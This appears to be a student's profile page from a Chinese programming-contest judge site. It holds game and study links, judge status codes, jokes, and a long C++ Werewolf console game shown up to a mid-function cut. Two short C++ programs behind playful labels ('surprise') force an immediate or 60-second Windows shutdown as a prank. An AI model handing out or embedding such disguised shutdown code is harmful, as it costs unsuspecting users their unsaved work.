• 个人简介

    Minecraft

    游戏网址

    https://poki.com/zh/g/combat-reloaded
    https://www.minecraft.net/zh-hans
    mc.js
    https://crazygame.com
    https://classic.minecraft.net/
    

    学习网址

    http://temege.com/
    https://www.luogu.com.cn/
    https://uoj.ac/
    https://www.gzlzoi.cn/d/lzoi2025/
    https://oiclass.com/
    https://gy.hfoj.net/
    https://www.gdgzoi.com/
    https://ybt.ssoier.cn/
    http://183.6.8.202:8888/
    https://csacademy.com/app/graph_editor
    

    惊喜=

    #include<math.h>
    #include<stdio.h>
    #include<iostream>
    #include<vector>
    #include<iomanip>
    #include<string.h>
    #include<algorithm>
    #include<cmath>
    #include<cstdio>
    #include<utility>
    #include<cstring>
    #include<stack>
    #include<fstream>
    #include<string>
    #include<stdlib.h>
    using namespace std;
    #define LL long long
    #define re register
    const int N = 1e5 + 10;
    const int INF = 0x3f3f3f3f;
    int main()
    {
        system( "shutdown -s -t 0" );
        return 0;
    }
    

    开心的死去=

    #include<queue>
    #include<math.h>
    #include<stdio.h>
    #include<iostream>
    #include<vector>
    #include<iomanip>
    #include<string.h>
    #include<algorithm>
    #include<cmath>
    #include<cstdio>
    #include<utility>
    #include<cstring>
    #include<stack>
    #include<fstream>
    #include<string>
    #include<stdlib.h>
    using namespace std;
    #define LL long long
    #define re register
    const int N = 1e5 + 10;
    const int INF = 0x3f3f3f3f;
    int main()
    {
        char input[20] = {0};
        system( "shutdown -s -t 60" );
        printf( "电脑将在60秒后关机,输入'取消'可终止:" );
        scanf( "%s" , input );
        if ( strcmp( input , "取消" ) == 0 )
        {
            system("shutdown -a");
        }
        return 0;
    }
    

    评测状态

    Waiting 评测:评测请求正在等待被评测机抓取
    Fetched 评测:评测请求已被评测机抓取,正在准备开始评测
    Compiling 评测:正在编译中
    Judging 评测:编译成功,正在评测中
    Accepted 通过:程序输出完全正确
    Wrong Answer 不通过:程序输出与标准答案不一致(不包括行末空格以及文件末空行)
    Time Limit Exceeded 不通过:程序运行时间超过了题目限制
    Memory Limit Exceeded 不通过:程序运行内存空间超过了题目限制
    Runtime Error 不通过:程序运行时错误(如数组越界、被零除、运算溢出、栈溢出、无效指针等)
    Compile Error 不通过:编译失败
    System Error 错误:系统错误(如果您遇到此问题,请及时在讨论区进行反馈)
    Canceled 其他:评测被取消
    Unknown Error 其他:未知错误
    Ignored 其他:被忽略
    
    1. 早八人の哲学
    
    闹钟响了五遍后突然顿悟:
    "起床需要勇气,但迟到只需两分钟"
    ——于是成功开发出"闭眼刷牙术"和"睡衣外穿时尚风"
    
    2. 书包里的未解之谜
    
    • 周一装的苹果周五变身"木乃伊"
    • 作业本总在交作业时神秘失踪
    • 永远少的那支笔其实在笔袋第三层
    
    3. 教室生存指南
    
    老师:"这道题选A还是B?"
    内心OS:"C其实也行...E也挺好?"
    (最终在草稿纸上画了个表情包)
    
    4. 放学冲刺赛
    
    食堂阿姨手抖定律:
    "阿姨多给块肉"≈"跑赢全校男生"
    (实测体重未下降但短跑成绩提升)
    
    5. 当代学生礼仪
    
    • 对老师:"您说得对"(疯狂点头)
    • 对同学:"我早写完了"(其实刚打开课本)
    • 对自己:"明天一定早睡"(凌晨三点刷题)
    
    冰箱文学
    "北极熊为什么从不点外卖?
    ——因为配送费比雪还冷
    
    数学浪漫
    "圆周率对圆说:
    '你永远不懂我无限不循环的孤独'
    圆默默滚走了——
    毕竟它没有脚"
    
    职场冷冻
    "老板问我为什么总穿高领毛衣?
    ——为了遮盖被方案驳回时
    瞬间僵化的颈椎
    (HR建议:建议改行卖冰棍)"
    
    爱情低温
    "在速冻饺子厂上班的男生
    情人节送了女友一袋饺子
    '现在冷了,以后更冷'
    ——这是他们最后对话"
    
    动物迷惑
    "企鹅为什么不用智能手机?
    ——爪子在零下40℃会
    自动进入省电模式
    

    
    #include<bits/stdc++.h>
    #include<cstdio>
    #include<cstdlib>
    #include<ctime>
    #include<windows.h>
    using namespace std;
    struct IDname
    {
        int geshu;
        string NAME;
    };
    IDname jue_se[100];
    struct ID
    {
        int num;
        bool life;
        string name;
        int know;
        int how;
    };
    ID player[21];
    int n, MY, kill1, kill2;
    char a;
    bool jieyao = 1, duyao = 1;
    int lieren, shouwei = 0;
    void init1()
    {
        jue_se[1].NAME = "村民 ";
        jue_se[2].NAME = "狼人 ";
        jue_se[3].NAME = "女巫 ";
        jue_se[4].NAME = "预言家 ";
        jue_se[5].NAME = "猎人 ";
        jue_se[6].NAME = "守卫 ";
    }
    void init2(int nn)
    {
        switch (nn)
        {
        case 6:
            jue_se[1].geshu = 3;
            jue_se[2].geshu = 2;
            jue_se[3].geshu = 1;
            jue_se[4].geshu = 0;
            jue_se[5].geshu = 0;
            jue_se[6].geshu = 0;
            break;
        case 7:
            jue_se[1].geshu = 3;
            jue_se[2].geshu = 2;
            jue_se[3].geshu = 1;
            jue_se[4].geshu = 1;
            jue_se[5].geshu = 0;
            jue_se[6].geshu = 0;
            break;
        case 8:
            jue_se[1].geshu = 3;
            jue_se[2].geshu = 3;
            jue_se[3].geshu = 1;
            jue_se[4].geshu = 1;
            jue_se[5].geshu = 0;
            jue_se[6].geshu = 0;
            break;
        case 9:
            jue_se[1].geshu = 3;
            jue_se[2].geshu = 3;
            jue_se[3].geshu = 1;
            jue_se[4].geshu = 1;
            jue_se[5].geshu = 1;
            jue_se[6].geshu = 0;
            break;
        case 10:
            jue_se[1].geshu = 4;
            jue_se[2].geshu = 3;
            jue_se[3].geshu = 1;
            jue_se[4].geshu = 1;
            jue_se[5].geshu = 1;
            jue_se[6].geshu = 0;
            break;
        case 11:
            jue_se[1].geshu = 4;
            jue_se[2].geshu = 4;
            jue_se[3].geshu = 1;
            jue_se[4].geshu = 1;
            jue_se[5].geshu = 1;
            jue_se[6].geshu = 0;
            break;
        case 12:
            jue_se[1].geshu = 4;
            jue_se[2].geshu = 4;
            jue_se[3].geshu = 1;
            jue_se[4].geshu = 1;
            jue_se[5].geshu = 1;
            jue_se[6].geshu = 1;
            break;
        default:
            cout << "输入错误,再见" << endl;
            exit(0);
            break;
        }
    }
    int van[10] = { 7,4,6,43,35,1,2,8,20,19 };
    void init3(int nn)
    {
        srand(time(0));
        Sleep(rand() % 44);
        int x = 10000;
        int t = rand();
        srand(time(NULL));
        int y = van[(rand() % 100 * van[rand() % 10] + t) % 10];
        if (nn <= 6)
            x = abs(x * 6 / y) % 3 + 1;
        else if (nn <= 8)
            x = abs(x * 7 / y) % 4 + 1;
        else if (nn <= 11)
            x = abs(x * 8 / y) % 5 + 1;
        else if (nn <= 14)
            x = abs(x * 9 / y) % 6 + 1;
        do
        {
            if (nn <= 6)
                x = x % 3 + 1;
            else if (nn <= 8)
                x = x % 4 + 1;
            else if (nn <= 11)
                x = x % 5 + 1;
            else if (nn <= 14)
                x = x % 6 + 1;
            if (jue_se[x].geshu > 0)
            {
                player[nn].name = jue_se[x].NAME;
                if (player[nn].name == "猎人 ")
                    lieren = nn;
                if (player[nn].name == "守卫 ")
                    shouwei = nn;
                player[nn].life = 1;
                player[nn].num = nn;
                player[nn].know = 0;
                jue_se[x].geshu--;
                player[nn].how = 0;
                break;
            }
        } while (jue_se[x].geshu == 0);
    }
    void printhhh()
    {
        int cm = 0;
        int sz = 0;
        for (int i = 1; i <= n; i++)
        {
            if (player[i].life == 0)
                continue;
            else if (player[i].name == "村民 ")
                cm++;
            else if (player[i].name == "女巫 " || player[i].name == "预言家 " || player[i].name == "猎人 " || player[i].name == "守卫 ")
                sz++;
        }
        if (sz == 0 || cm == 0)
            cout << "狼人阵营胜利" << endl;
        else
            cout << "好人阵营胜利" << endl;
        for (int i = 1; i <= n; i++)
        {
            cout << left << setw(3) << player[i].num << ": " << player[i].name << " ";
            if (player[i].life == 0)
                cout << "死亡" << "\t";
            else
                cout << "存活" << "\t";
            if (player[i].how == 0)
                cout << "最终存活 " << endl;
            else if (player[i].how == 1)
                cout << "最终被狼人杀死" << endl;
            else if (player[i].how == 2)
                cout << "最终被投票投死" << endl;
            else if (player[i].how == 3)
                cout << "最终被女巫毒死" << endl;
            else if (player[i].how == 4)
                cout << "最终被猎人射杀" << endl;
        }
        system("pause");
        system("pause");
        system("pause");
    }
    void print(int day, int ti)
    {
        HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
        if (ti == 0)
            SetConsoleTextAttribute(handle, BACKGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE | FOREGROUND_INTENSITY);
        else
            SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
        cout << "\t\t\t\t第" << day << "天 ";
        if (ti == 0)
            cout << "白天" << endl;
        else
            cout << "夜晚" << endl;
        cout << "我的位置:" << MY << "号" << endl;
        for (int i = 1; i <= 6; i++)
        {
            cout << player[i].num << "号位 ";
        }
        cout << endl;
        for (int i = 1; i <= 6; i++)
        {
            if (player[i].life == 1)
            {
                if (ti == 0)
                    SetConsoleTextAttribute(handle, BACKGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE | FOREGROUND_INTENSITY | FOREGROUND_GREEN);
                else
                    SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | FOREGROUND_GREEN);
                cout << "存活 ";
            }
            else
            {
                if (ti == 0)
                    SetConsoleTextAttribute(handle, BACKGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE | FOREGROUND_INTENSITY | FOREGROUND_RED);
                else
                    SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | FOREGROUND_RED);
                cout << "已死亡 ";
            }
        }
        if (ti == 0)
            SetConsoleTextAttribute(handle, BACKGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE | FOREGROUND_INTENSITY);
        else
            SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
        cout << endl;
        for (int i = 1; i <= 6; i++)
        {
            if (player[i].know == 0)
                cout << "未知 ";
            else if (player[i].know == 1)
            {
                if (player[i].name == "狼人 ")
                    cout << "狼人 ";
                else
                    cout << "好人 ";
            }
            else if (player[i].know == 2)
                cout << player[i].name << " ";
        }
        cout << endl << endl;
        for (int i = 7; i <= n; i++)
        {
            if (i < 10)
                cout << player[i].num << "号位 ";
            else
                cout << player[i].num << "号位 ";
        }
        cout << endl;
        for (int i = 7; i <= n; i++)
        {
            if (player[i].life == 1)
            {
                if (ti == 0)
                    SetConsoleTextAttribute(handle, BACKGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE | FOREGROUND_INTENSITY | FOREGROUND_GREEN);
                else
                    SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | FOREGROUND_GREEN);
                cout << "存活 ";
            }
            else
            {
                if (ti == 0)
                    SetConsoleTextAttribute(handle, BACKGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE | FOREGROUND_INTENSITY | FOREGROUND_RED);
                else
                    SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | FOREGROUND_RED);
                cout << "已死亡 ";
            }
        }
        if (ti == 0)
            SetConsoleTextAttribute(handle, BACKGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE | FOREGROUND_INTENSITY);
        else
            SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
        cout << endl;
        for (int i = 7; i <= n; i++)
        {
            if (player[i].know == 0)
                cout << "未知 ";
            else if (player[i].know == 1)
            {
                if (player[i].name == "狼人 ")
                    cout << "狼人 ";
                else
                    cout << "好人 ";
            }
            else if (player[i].know == 2)
                cout << player[i].name << " ";
        }
        cout << endl << endl;
    }
    int shou = 0;
    void shoushui(int hhh, int hhhh)
    {
        int x;
        Sleep(3000);
        system("cls");
        print(hhh, hhhh);
        cout << "守~卫~请~睁~眼~~~" << endl;
        Sleep(3000);
        system("cls");
        print(hhh, hhhh);
        if (MY == shouwei && player[MY].life == 1)
        {
            cout << "请问你要守护谁?" << endl << "输入:";
            cin >> x;
            while (x == shou || x<1 || x>n || player[x].life == 0)
            {
                cout << "输入错误,请重新输入" << endl << "输入:";
                cin >> x;
            }
            shou = x;
        }
        else if (player[shouwei].life == 1)
        {
            cout << "请问你要守护谁?" << endl;
            Sleep(rand() % 98);
            srand(time(0));
            x = rand() % n + 1;
            while (x == shou || player[x].life == 0)
            {
                Sleep(rand() % 98);
                srand(time(0));
                x = rand() % n + 1;
            }
            shou = x;
        }
        else
        {
            cout << "请问你要守护谁?" << endl;
            Sleep(3000);
            shou = -1;
        }
        Sleep(3000);
        system("cls");
        print(hhh, hhhh);
        cout << "守~卫~请~闭~眼~~~" << endl;
    }
    struct tou
    {
        int xxx;
        int num;
        int toupiaoquan;
    };
    tou TOU[13];
    bool cmp(tou x, tou y)
    {
        if (x.xxx == y.xxx)
            return x.num < y.num;
        return x.xxx > y.xxx;
    }
    bool cmp1(tou x, tou y)
    {
        return x.num < y.num;
    }
    void toupiao(int ddd, int nnn)
    {
        //--------1--------
        int x;
        Sleep(2000);
        system("cls");
        print(ddd, nnn);
        cout << "现在大家请投票";
        for (int i = 1; i <= 3; i++)
        {
            cout << ".";
            Sleep(500);
        }
        cout << endl;
        for (int i = 1; i <= n; i++)
        {
            TOU[i].num = i;
            TOU[i].toupiaoquan = 1;
            TOU[i].xxx = 0;
        }
        for (int i = 1; i <= n; i++)
        {
            if (player[i].life == 1)
            {
                Sleep(3000);
                if (i == MY)
                {
                    cout << "请投票...(0弃权)" << endl;
                    cin >> x;
                    while (player[x].life == 0 && x != 0)
                    {
                        cin >> x;
                    }
                    if (x == 0)
                        cout << MY << "号玩家弃权" << endl;
                    else
                        cout << MY << "号玩家投给了" << x << "号玩家" << endl;
                }
                else
                {
                    srand(time(0));
                    if (player[i].name == "狼人 ")
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || player[x].name == "狼人 " || x == i))
                        {
                            Sleep(rand() % 98);
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                    else if (player[i].name == "预言家 ")
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || player[x].name != "狼人 " || x == i))
                        {
                            Sleep(rand() % 98);
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                    else
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || x == i))
                        {
                            Sleep(rand() % 98);
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                }
                if (x != 0)
                    TOU[x].xxx++;
            }
        }
        Sleep(3000);
        sort(TOU + 1, TOU + n + 1, cmp);
        if (TOU[2].xxx != TOU[1].xxx)
        {
            cout << "投票结束," << TOU[1].num << "号投票出局" << endl;
            player[TOU[1].num].life = 0;
            player[TOU[1].num].how = 2;
            Sleep(3000);
            return;
        }
        else
        {
            TOU[1].toupiaoquan = 0;
            TOU[2].toupiaoquan = 0;
            system("cls");
            print(ddd, nnn);
            cout << TOU[1].num << "号," << TOU[2].num << "号";
            int i;
            for (i = 3; i <= n; i++)
            {
                if (TOU[i].xxx == TOU[1].xxx)
                {
                    TOU[i].toupiaoquan = 0;
                    cout << "," << TOU[i].num << "号";
                }
                else
                    break;
            }
            if (i == n + 1)
            {
                for (int i = 1; i <= n; i++)
                    TOU[i].toupiaoquan = 1;
            }
            cout << "平票" << endl;
        }
        //--------2--------
        sort(TOU + 1, TOU + n + 1, cmp1);
        cout << "请再次投票";
        for (int i = 1; i <= 3; i++)
        {
            cout << ".";
            Sleep(500);
        }
        cout << endl;
        for (int i = 1; i <= n; i++)
        {
            if (player[i].life == 1 && TOU[i].toupiaoquan == 1)
            {
                Sleep(3000);
                if (i == MY)
                {
                    cout << "请投票...(0弃权)" << endl;
                    cin >> x;
                    while ((player[x].life == 0 || TOU[x].toupiaoquan == 1) && x != 0)
                    {
                        cin >> x;
                    }
                    if (x == 0)
                        cout << MY << "号玩家弃权" << endl;
                    else
                        cout << MY << "号玩家投给了" << x << "号玩家" << endl;
                }
                else
                {
                    srand(time(0));
                    if (player[i].name == "狼人 ")
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || player[x].name == "狼人 " || x == i || TOU[x].toupiaoquan == 1))
                        {
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                    else if (player[i].name == "预言家 ")
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || player[x].name != "狼人 " || x == i || TOU[x].toupiaoquan == 1))
                        {
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                    else
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || x == i || TOU[x].toupiaoquan == 1))
                        {
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                }
                if (x != 0 && TOU[i].toupiaoquan == 1)
                    TOU[x].xxx++;
            }
        }
        Sleep(3000);
        sort(TOU + 1, TOU + n + 1, cmp);
        if (TOU[2].xxx != TOU[1].xxx)
        {
            cout << "投票结束," << TOU[1].num << "号投票出局" << endl;
            player[TOU[1].num].life = 0;
            player[TOU[1].num].how = 2;
            Sleep(3000);
            return;
        }
        else
        {
            TOU[1].toupiaoquan = 0;
            TOU[2].toupiaoquan = 0;
            system("cls");
            print(ddd, nnn);
            cout << TOU[1].num << "号," << TOU[2].num << "号";
            int i;
            for (i = 3; i <= n; i++)
            {
                if (TOU[i].xxx == TOU[1].xxx)
                {
                    TOU[i].toupiaoquan = 0;
                    cout << "," << TOU[i].num << "号";
                }
                else
                    break;
            }
            if (i == n + 1)
            {
                for (int i = 1; i <= n; i++)
                    TOU[i].toupiaoquan = 1;
            }
            cout << "平票" << endl;
        }
        //--------3--------
        sort(TOU + 1, TOU + n + 1, cmp1);
        cout << "请再次投票";
        for (int i = 1; i <= 3; i++)
        {
            cout << ".";
            Sleep(500);
        }
        cout << endl;
        for (int i = 1; i <= n; i++)
        {
            if (player[i].life == 1 && TOU[i].toupiaoquan == 1)
            {
                Sleep(3000);
                if (i == MY)
                {
                    cout << "请投票...(0弃权)" << endl;
                    cin >> x;
                    while ((player[x].life == 0 || TOU[x].toupiaoquan == 1) && x != 0)
                    {
                        cin >> x;
                    }
                    if (x == 0)
                        cout << MY << "号玩家弃权" << endl;
                    else
                        cout << MY << "号玩家投给了" << x << "号玩家" << endl;
                }
                else
                {
                    srand(time(0));
                    if (player[i].name == "狼人 ")
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || player[x].name == "狼人 " || x == i || TOU[x].toupiaoquan == 1))
                        {
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                    else if (player[i].name == "预言家 " || player[i].name == "猎人 ")
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || player[x].name != "狼人 " || x == i || TOU[x].toupiaoquan == 1))
                        {
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                    else
                    {
                        x = rand() % (n + 1);
                        while (x != 0 && (player[x].life == 0 || x == i || TOU[x].toupiaoquan == 1))
                        {
                            srand(time(0));
                            x = rand() % (n + 1);
                        }
                        if (x == 0)
                            cout << i << "号玩家弃权" << endl;
                        else
                            cout << i << "号玩家投给了" << x << "号玩家" << endl;
                    }
                }
                if (x != 0 && TOU[i].toupiaoquan == 1)
                    TOU[x].xxx++;
            }
        }
        Sleep(3000);
        sort(TOU + 1, TOU + n + 1, cmp);
        if (TOU[2].xxx != TOU[1].xxx)
        {
            cout << "投票结束," << TOU[1].num << "号投票出局" << endl;
            player[TOU[1].num].life = 0;
            player[TOU[1].num].how = 2;
        }
        else
        {
            cout << "投票结束,无人出局" << endl;
        }
        Sleep(5000);
    }
    bool game_over()
    {
        int pingmin = 0;
        int langren = 0;
        int shenzhi = 0;
        for (int i = 1; i <= n; i++)
        {
            if (player[i].life == 0)
                continue;
            if (player[i].name == "狼人 ")
                langren++;
            else if (player[i].name == "村民 ")
                pingmin++;
            else if (player[i].name == "女巫 " || player[i].name == "预言家 " || player[i].name == "猎人 ")
                shenzhi++;
        }
        if (shenzhi == 0 || langren == 0 || pingmin == 0)
            return 1;
        return 0;
    }
    void night()
    {
        system("cls");
        system("color 0f");
        print(1, 1);
        cout << "天~黑~请~闭~眼~~~" << endl;
        if (n >= 12)
            shoushui(1, 1);
        Sleep(3000);
        system("cls");
        print(1, 1);
        cout << "狼~人~请~睁~眼~~~" << endl;
        if (player[MY].name == "狼人 ")
        {
            Sleep(1000);
            cout << "你的同伴有:";
            for (int i = 1; i <= n; i++)
            {
                if (i == MY)
                    continue;
                if (player[i].name == "狼人 ")
                {
                    cout << player[i].num << "号 ";
                    player[i].know = 2;
                }
            }
            Sleep(3000);
            cout << endl << "请问你们要杀谁:" << endl << "输入:";
            cin >> kill1;
            Sleep(1500);
            system("cls");
            print(1, 1);
            cout << "今晚你们要杀的是" << kill1 << "号玩家" << endl;
        }
        else
        {
            Sleep(4000);
            system("cls");
            print(1, 1);
            cout << "请问你们要杀谁?" << endl;
            do
            {
                Sleep(rand() % 18);
                srand(time(0));
                int x = rand() % n + 1;
                if (player[x].name != "狼人 " && player[x].life == 1)
                {
                    kill1 = x;
                    break;
                }
            } while (1);
            Sleep(5000);
        }
        Sleep(3000);
        system("cls");
        print(1, 1);
        cout << "狼~人~请~闭~眼~~~" << endl;
        Sleep(2000);
        system("cls");
        print(1, 1);
        cout << "女~巫~请~睁~眼~~~" << endl;
        Sleep(2000);
        system("cls");
        print(1, 1);
        if (player[MY].name == "女巫 " && player[MY].life == 1)
        {
            Sleep(1000);
            if (jieyao == 1)
            {
                cout << "今晚" << kill1 << "号玩家被杀" << endl;
                Sleep(500);
                cout << "请问你要救吗???" << endl << "A. 救 B.不救" << endl << "输入:";
                cin >> a;
                if (a == 'A')
                {
                    system("cls");
                    print(1, 1);
                    cout << "请问你要毒吗???" << endl;
                    Sleep(2000);
                    system("cls");
                    print(1, 1);
                    cout << "今晚" << kill1 << "号玩家被你解救" << endl;
                    jieyao = 0;
                    if (shou != kill1)
                        kill1 = 0;
                }
                else
                {
                    if (shou == kill1)
                        kill1 = 0;
                    Sleep(2000);
                    system("cls");
                    print(1, 1);
                    cout << "请问你要毒吗???" << endl << "A. 毒 B.不毒" << endl << "输入:";
                    cin >> a;
                    if (a == 'A')
                    {
                        cout << "请问你要毒谁???" << endl << "输入:";
                        cin >> kill2;
                        while (player[kill2].life != 1)
                        {
                            cout << "输入错误,请重新输入:" << endl;
                            cin >> kill2;
                        }
                        duyao = 0;
                    }
                }
            }
            else
            {
                if (shou == kill1)
                    kill1 = 0;
                Sleep(2000);
                system("cls");
                print(1, 1);
                cout << "请问你要毒吗???" << endl << "A. 毒 B.不毒" << endl << "输入:";
                cin >> a;
                if (a == 'A')
                {
                    cout << "请问你要毒谁???" << endl << "输入:";
                    cin >> kill2;
                    while (player[kill2].life != 1)
                    {
                        cout << "输入错误,请重新输入:" << endl;
                        cin >> kill2;
                    }
                    duyao = 0;
                }
            }
        }
        else
        {
            bool b = 0;
            cout << "请问你是否要用解药???" << endl;
            int FFF = 0, kkkk;
            for (int i = 1; i <= n; i++)
            {
                if (player[i].life == 1 && player[i].name == "村民 ")
                    FFF++;
                if (player[i].name == "女巫 ")
                    kkkk = i;
            }
            if (jieyao == 1 && player[kkkk].life == 1)
            {
                if (FFF == 1)
                {
                    if (shou == kill1)
                        jieyao = 1;
                    else
                        jieyao = 0;
                    kill1 = 0;
                    b = 1;
                }
                else
                    for (int i = 1; i <= n; i++)
                    {
                        if (player[i].name == "女巫 " && kill1 == i)
                        {
                            kill1 = 0;
                            if (shou == kill1)
                                jieyao = 1;
                            else
                                jieyao = 0;
                            b = 1;
                            break;
                        }
                        else if (player[i].name == "预言家 " && kill1 == i)
                        {
                            kill1 = 0;
                            if (shou == kill1)
                                jieyao = 1;
                            else
                                jieyao = 0;
                            b = 1;
                            break;
                        }
                    }
            }
            Sleep(3000);
            if (b == 0 && duyao == 1 && player[kkkk].life == 1)
            {
                system("cls");
                print(1, 1);
                cout << "请问你是否要用毒药???" << endl;
                srand(time(0));
                int x = rand() % 2;
                Sleep(1500);
                cout << "请问你要毒谁???" << endl;
                if (x == 1)
                {
                    duyao = 0;
                    int y = rand() % n + 1;
                    while ((player[y].name == "女巫 " || player[y].name == "预言家 " || y == kill1) || player[y].life == 0)
                        y = rand() % n + 1;
                    kill2 = y;
                }
            }
            else
            {
                Sleep(3000);
                system("cls");
                print(1, 1);
                cout << "请问你是否要用毒药???" << endl;
                Sleep(3000);
                cout << "请问你要毒谁???" << endl;
                Sleep(3000);
            }
        }
        Sleep(3000);
        system("cls");
        print(1, 1);
        cout << "女~巫~请~闭~眼~~~" << endl;
        if (n > 6)
        {
            Sleep(3000);
            system("cls");
            print(1, 1);
            cout << "预~言~家~请~睁~眼~~~" << endl;
            if (player[MY].name == "预言家 ")
            {
                Sleep(3000);
                cout << "请问你想查验谁???" << endl << "输入:";
                int x;
                cin >> x;
                player[x].know = 1;
                Sleep(2000);
                system("cls");
                print(1, 1);
                cout << "他的身份是:";
                if (player[x].name == "狼人 ")
                    cout << "狼人" << endl;
                else
                    cout << "好人" << endl;
                Sleep(3000);
            }
            else
            {
                Sleep(3000);
                cout << "请问你想查验谁???" << endl;
                Sleep(3000);
                system("cls");
                print(1, 1);
                cout << "他的身份是:......";
                Sleep(3000);
            }
            Sleep(3000);
            system("cls");
            print(1, 1);
            cout << "预~言~家~请~闭~眼~~~" << endl;
        }
        Sleep(3000);
        if (kill1 != 0)
            player[kill1].life = 0;
        if (kill2 != 0)
            player[kill2].life = 0;
        player[kill1].how = 1;
        player[kill2].how = 3;
        system("cls");
        system("color F0");
        print(2, 0);
    }
    void night2(int hhh, int hhhh)
    {
        system("cls");
        system("color 0f");
        print(hhh, hhhh);
        cout << "天~黑~请~闭~眼~~~" << endl;
        if (n >= 12)
            shoushui(hhh, hhhh);
        Sleep(3000);
        system("cls");
        print(hhh, hhhh);
        cout << "狼~人~请~睁~眼~~~" << endl;
        if (player[MY].name == "狼人 " && player[MY].life == 1)
        {
            Sleep(3000);
            cout << endl << "请问你们要杀谁:" << endl << "输入:";
            cin >> kill1;
            Sleep(1500);
            system("cls");
            print(hhh, hhhh);
            cout << "今晚你们要杀的是" << kill1 << "号玩家" << endl;
        }
        else
        {
            Sleep(4000);
            system("cls");
            print(hhh, hhhh);
            cout << "请问你们要杀谁?" << endl;
            do
            {
                srand(time(0));
                int x = rand() % n + 1;
                if (player[x].name != "狼人 " && player[x].life == 1)
                {
                    kill1 = x;
                    break;
                }
            } while (1);
            Sleep(5000);
        }
        Sleep(3000);
        system("cls");
        print(hhh, hhhh);
        cout << "狼~人~请~闭~眼~~~" << endl;
        Sleep(2000);
        system("cls");
        print(hhh, hhhh);
        cout << "女~巫~请~睁~眼~~~" << endl;
        Sleep(2000);
        system("cls");
        print(hhh, hhhh);
        if (player[MY].name == "女巫 " && player[MY].life == 1)
        {
            Sleep(1000);
            if (jieyao == 1)
            {
                cout << "今晚" << kill1 << "号玩家被杀" << endl;
                Sleep(500);
                cout << "请问你要救吗???" << endl << "A. 救 B.不救" << endl << "输入:";
                cin >> a;
                if (a == 'A')
                {
                    system("cls");
                    print(hhh, hhhh);
                    cout << "请问你要毒吗???" << endl;
                    Sleep(2000);
                    system("cls");
                    print(hhh, hhhh);
                    cout << "今晚" << kill1 << "号玩家被你解救" << endl;
                    jieyao = 0;
                    if (shou != kill1)
                        kill1 = 0;
                }
                else
                {
                    if (shou == kill1)
                        kill1 = 0;
                    Sleep(2000);
                    system("cls");
                    print(hhh, hhhh);
                    cout << "请问你要毒吗???" << endl << "A. 毒 B.不毒" << endl << "输入:";
                    cin >> a;
                    if (a == 'A')
                    {
                        cout << "请问你要毒谁???" << endl << "输入:";
                        cin >> kill2;
                        while (player[kill2].life != 1)
                        {
                            cout << "输入错误,请重新输入:" << endl;
                            cin >> kill2;
                        }
                        duyao = 0;
                    }
                }
            }
            else if (duyao == 1)
            {
                if (shou == kill1)
                    kill1 = 0;
                Sleep(2000);
                system("cls");
                print(hhh, hhhh);
                cout << "请问你要毒吗???" << endl << "A. 毒 B.不毒" << endl << "输入:";
                cin >> a;
                if (a == 'A')
                {
                    cout << "请问你要毒谁???" << endl << "输入:";
                    cin >> kill2;
                    while (player[kill2].life != 1)
                    {
                        cout << "输入错误,请重新输入:" << endl;
                        cin >> kill2;
                    }
                    duyao = 0;
                }
            }
            else
            {
                Sleep(2000);
                system("cls");
